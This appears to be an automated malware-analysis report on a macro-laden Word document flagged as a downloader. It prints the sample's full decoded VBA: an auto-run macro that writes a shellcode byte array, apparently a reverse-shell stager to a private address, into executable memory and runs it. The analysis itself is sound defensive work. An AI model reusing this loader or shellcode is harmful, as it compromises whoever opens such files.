Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e7ef910a7c3a3963…

MALICIOUS

Office (OOXML)

18.5 KB Created: 2021-05-25 19:06:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-29
MD5: 6d0f0e69ba06585a9f8f97cbdd64660d SHA-1: 878db2e2512563fb77a15ac528941d81c30b9724 SHA-256: e7ef910a7c3a396360efa55c7ca1522da0b0cfd91937f3f0073373a611d66dd3
166 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OOXML document containing VBA macros, specifically triggering AutoOpen and Workbook_Open heuristics, indicating malicious macro execution. ClamAV detection confirms its malicious nature as a downloader. The VBA script uses Windows API calls like CreateThread and VirtualAlloc, suggesting it attempts to allocate memory and execute code, likely downloading and running a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
    Sub AutoOpen()
    Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
    Sub Workbook_Open()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    #End If
    Sub Auto_Open()
    Dim sucedaqh As Long, nngozfjsggpfs As Variant, ofmbeljjtxmewfg As Long
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4156 bytes
SHA-256: 30c529bdcff203105ab359048f25e0c2ff6dfdc36bcc7ab4b7064d0866aae0db
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
Private Declare PtrSafe Function tnapmfmomp Lib "kernel32" Alias "CreateThread" (ByVal nkisferpiyrtemrx As Long, ByVal lysegqzvzwfdpqd As Long, ByVal thcavthacku As LongPtr, xhsjilccuumugfojuprz As Long, ByVal flqgcyvaqnzdwy As Long, odsfcsbmcvb As Long) As LongPtr
Private Declare PtrSafe Function whsptdyanigdusntunva Lib "kernel32" Alias "VirtualAlloc" (ByVal ucrjirvtigpbhvvbvnm As Long, ByVal ktfloiwbqyseh As Long, ByVal uzneqpyqhisozsjwxn As Long, ByVal xplofoue As Long) As LongPtr
Private Declare PtrSafe Function upccgnnvygqzmnkp Lib "kernel32" Alias "RtlMoveMemory" (ByVal lvapglorqot As LongPtr, ByRef ekhkswtztkfduttctrec As Any, ByVal qhgzrpldtqhhlpb As Long) As LongPtr
#Else
Private Declare Function tnapmfmomp Lib "kernel32" Alias "CreateThread" (ByVal nkisferpiyrtemrx As Long, ByVal lysegqzvzwfdpqd As Long, ByVal thcavthacku As Long, xhsjilccuumugfojuprz As Long, ByVal flqgcyvaqnzdwy As Long, odsfcsbmcvb As Long) As Long
Private Declare Function whsptdyanigdusntunva Lib "kernel32" Alias "VirtualAlloc" (ByVal ucrjirvtigpbhvvbvnm As Long, ByVal ktfloiwbqyseh As Long, ByVal uzneqpyqhisozsjwxn As Long, ByVal xplofoue As Long) As Long
Private Declare Function upccgnnvygqzmnkp Lib "kernel32" Alias "RtlMoveMemory" (ByVal lvapglorqot As Long, ByRef ekhkswtztkfduttctrec As Any, ByVal qhgzrpldtqhhlpb As Long) As Long
#End If
Sub Auto_Open()
Dim sucedaqh As Long, nngozfjsggpfs As Variant, ofmbeljjtxmewfg As Long
#If VBA7 Then
Dim rvhbmcqt As LongPtr, cdritxhgiqjmgjqa As LongPtr
#Else
Dim rvhbmcqt As Long, cdritxhgiqjmgjqa As Long
#End If
nngozfjsggpfs = Array(232, 143, 0, 0, 0, 96, 49, 210, 137, 229, 100, 139, 82, 48, 139, 82, 12, 139, 82, 20, 15, 183, 74, 38, 139, 114, 40, 49, 255, 49, 192, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 73, 117, 239, 82, 139, 82, 16, 87, 139, 66, 60, 1, 208, 139, 64, 120, 133, 192, 116, 76, 1, 208, 80, 139, 72, 24, 139, 88, 32, 1, 211, 133, 201, 116, 60, 49, 255, _
73, 139, 52, 139, 1, 214, 49, 192, 172, 193, 207, 13, 1, 199, 56, 224, 117, 244, 3, 125, 248, 59, 125, 36, 117, 224, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 88, 95, 90, 139, 18, 233, 128, 255, 255, 255, 93, 104, 51, 50, 0, 0, 104, 119, 115, 50, 95, 84, _
104, 76, 119, 38, 7, 137, 232, 255, 208, 184, 144, 1, 0, 0, 41, 196, 84, 80, 104, 41, 128, 107, 0, 255, 213, 106, 10, 104, 192, 168, 1, 252, 104, 2, 0, 17, 92, 137, 230, 80, 80, 80, 80, 64, 80, 64, 80, 104, 234, 15, 223, 224, 255, 213, 151, 106, 16, 86, 87, 104, 153, 165, 116, 97, 255, 213, 133, 192, 116, 10, 255, 78, 8, 117, 236, 232, 103, 0, 0, 0, _
106, 0, 106, 4, 86, 87, 104, 2, 217, 200, 95, 255, 213, 131, 248, 0, 126, 54, 139, 54, 106, 64, 104, 0, 16, 0, 0, 86, 106, 0, 104, 88, 164, 83, 229, 255, 213, 147, 83, 106, 0, 86, 83, 87, 104, 2, 217, 200, 95, 255, 213, 131, 248, 0, 125, 40, 88, 104, 0, 64, 0, 0, 106, 0, 80, 104, 11, 47, 15, 48, 255, 213, 87, 104, 117, 110, 77, 97, 255, 213, _
94, 94, 255, 12, 36, 15, 133, 112, 255, 255, 255, 233, 155, 255, 255, 255, 1, 195, 41, 198, 117, 193, 195, 187, 240, 181, 162, 86, 106, 0, 83, 255, 213)
rvhbmcqt = whsptdyanigdusntunva(0, UBound(nngozfjsggpfs), &H1000, &H40)
For ofmbeljjtxmewfg = LBound(nngozfjsggpfs) To UBound(nngozfjsggpfs)
sucedaqh = nngozfjsggpfs(ofmbeljjtxmewfg)
cdritxhgiqjmgjqa = upccgnnvygqzmnkp(rvhbmcqt + ofmbeljjtxmewfg, sucedaqh, 1)
Next ofmbeljjtxmewfg
cdritxhgiqjmgjqa = tnapmfmomp(0, 0, rvhbmcqt, 0, 0, 0)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
Private Function ksiimzpfjgtc(ByVal fpezbgxaxydd As String) As String
Dim qjnkcngjxdgv As Long
For qjnkcngjxdgv = 1 To Len(fpezbgxaxydd) Step 2
ksiimzpfjgtc = ksiimzpfjgtc & Chr$(Val("&H" & Mid$(fpezbgxaxydd, qjnkcngjxdgv, 2)))
Next qjnkcngjxdgv
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14336 bytes
SHA-256: dc532fdc8df8fc49d1eee46372598f035ee0e8ee3441a9dafc14cba432fd3513
Detection
ClamAV: Doc.Downloader.Generic-6698421-0
Obfuscation or payload: unlikely